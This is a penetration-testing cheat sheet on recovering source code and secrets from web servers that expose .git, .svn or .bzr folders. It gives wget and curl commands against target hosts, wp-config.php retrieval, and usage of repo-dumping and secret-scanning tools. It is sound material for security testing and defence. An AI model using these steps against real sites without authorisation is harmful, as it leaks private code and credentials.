# Insecure source code management - [GIT - Source code management](#git---source-code-management) - [Github example with a .git](#github-example-with-a-git) - [Recovering the content of .git/index](#recovering-the-content-of-gitindex) - [Automatic way : diggit.py](#automatic-way--diggitpy) - [Automatic way : GoGitDumper](#automatic-way-gogitdumper) - [Automatic way : rip-git](#automatic-way--rip-git) - [Automatic way : GitHack](#automatic-way--githack) - [Harvesting secrets : trufflehog](#harvesting-secrets--trufflehog) - [Harvesting secrets : Gitrob](#harvesting-secrets--gitrob) - [Harvesting secrets : Gitleaks](#harvesting-secrets--gitleaks) - [SVN - Source code management](#svn---source-code-management) - [SVN example (Wordpress)](#svn-example-wordpress) - [Automatic way : svn-extractor](#automatic-way--svn-extractor) - [BAZAAR - Source code management](#bazaar---source-code-management) - [Automatic way : rip-bzr](#automatic-way--rip-bzr) - [Automatic way : bzr_dumper](#automatic-way--bzr_dumper) ## GIT - Source code management The following examples will create either a copy of the .git or a copy of the current commit. Check for the following files, if they exist you can extract the .git folder. - .git/config - .git/HEAD - .git/logs/HEAD ### Github example with a .git 1. Check 403 error (Forbidden) for .git or even better : a directory listing 2. Git saves all information in log file .git/logs/HEAD (try 'head' in lowercase too) ```powershell 0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael 1489390329 +0000 commit: Initial. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael 1489390330 +0000 commit: Whoops! Remove flag. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael 1489390332 +0000 commit: Prevent directory listing. ``` 3. Access to the commit based on the hash -> a directory name (first two signs from hash) and filename (rest of it).git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c, ```powershell # create a .git directory git init test cd test/.git # download the file wget http://xxx.web.xxx.com/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c mkdir .git/object/26 mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ # display the content of the file git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c tree 323240a3983045cdc0dec2e88c1358e7998f2e39 parent 15ca375e54f056a576905b41a417b413c57df6eb author Michael 1489390329 +0000 committer Michael 1489390329 +0000 Initial. ``` 4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39 ```powershell wget http://xxx.web.xxx.com/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 mkdir .git/object/32 mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39 040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css 100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt 040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts 100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html 040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js ``` 5. Read the data (flag.txt) ```powershell wget http://xxx.web.xxx.com/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f mkdir .git/object/cb mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f ``` ### Recovering the content of .git/index Use the git index file parser, using python3 https://pypi.python.org/pypi/gin ```powershell pip3 install gin gin ~/git-repo/.git/index ``` Recover name and sha1 hash for each files listed in the index, allowing us to re-use the previous method on the file. ```powershell $ gin .git/index | egrep -e "name|sha1" name = AWS Amazon Bucket S3/README.md sha1 = 862a3e58d138d6809405aa062249487bee074b98 name = CRLF injection/README.md sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141 ``` ### Automatic way : diggit.py ```powershell ./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] ./diggit.py -u http://webpage.com -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1 -u is remote path, where .git folder exists -t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init) -o is a hash of particular Git object to download ``` ### Automatic way : GoGitDumper ```powershell go get github.com/c-sto/gogitdumper gogitdumper -u http://urlhere.com/.git/ -o yourdecideddir/.git/ git log git checkout ``` ### Automatic way : rip-git ```powershell perl rip-git.pl -v -u "http://edge1.web.*****.com/.git/" git cat-file -p 07603070376d63d911f608120eb4b5489b507692 tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 parent 15ca375e54f056a576905b41a417b413c57df6eb author Michael 1489389105 +0000 committer Michael 1489389105 +0000 git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 ``` ### Automatic way : GitHack ```powershell git clone https://github.com/lijiejie/GitHack GitHack.py http://www.openssl.org/.git/ ``` ### Harvesting secrets : trufflehog > Searches through git repositories for high entropy strings and secrets, digging deep into commit history ```powershell pip install truffleHog # https://github.com/dxa4481/truffleHog truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git ``` ### Harvesting secrets : Gitrob > Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files. ```powershell go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef gitrob [options] target [target2] ... [targetN] ``` ### Harvesting secrets - Gitleaks > Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories. ```powershell # Run gitleaks against a public repository docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git # Run gitleaks against a local repository already cloned into /tmp/ docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks # Run gitleaks against a specific Github Pull request docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000 or go get -u github.com/zricethezav/gitleaks ``` ## SVN - Source code management ### SVN example (Wordpress) ```powershell curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base ``` 1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db ```powershell INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); ``` 2. Download interesting files * remove \$sha1\$ prefix * add .svn-base postfix * use first two signs from hash as folder name inside pristine/ directory (94 in this case) * create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base` ### Automatic way : svn-extractor ```powershell git clone https://github.com/anantshri/svn-extractor.git python svn-extractor.py –url "url with .svn available" ``` ## BAZAAR - Source code management ### Automatic way : rip-bzr.pl ```powershell wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-git.pl -v -u ``` ### Automatic way : bzr_dumper ```powershell git clone https://github.com/SeahunOh/bzr_dumper python3 dumper.py -u "http://127.0.0.1:5000/" -o source Created a standalone tree (format: 2a) [!] Target : http://127.0.0.1:5000/ [+] Start. [+] GET repository/pack-names [+] GET README [+] GET checkout/dirstate [+] GET checkout/views [+] GET branch/branch.conf [+] GET branch/format [+] GET branch/last-revision [+] GET branch/tag [+] GET b'154411f0f33adc3ff8cfb3d34209cbd1' [*] Finish $ bzr revert N application.py N database.py N static/ ``` ## References - [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks) - [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit) - [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)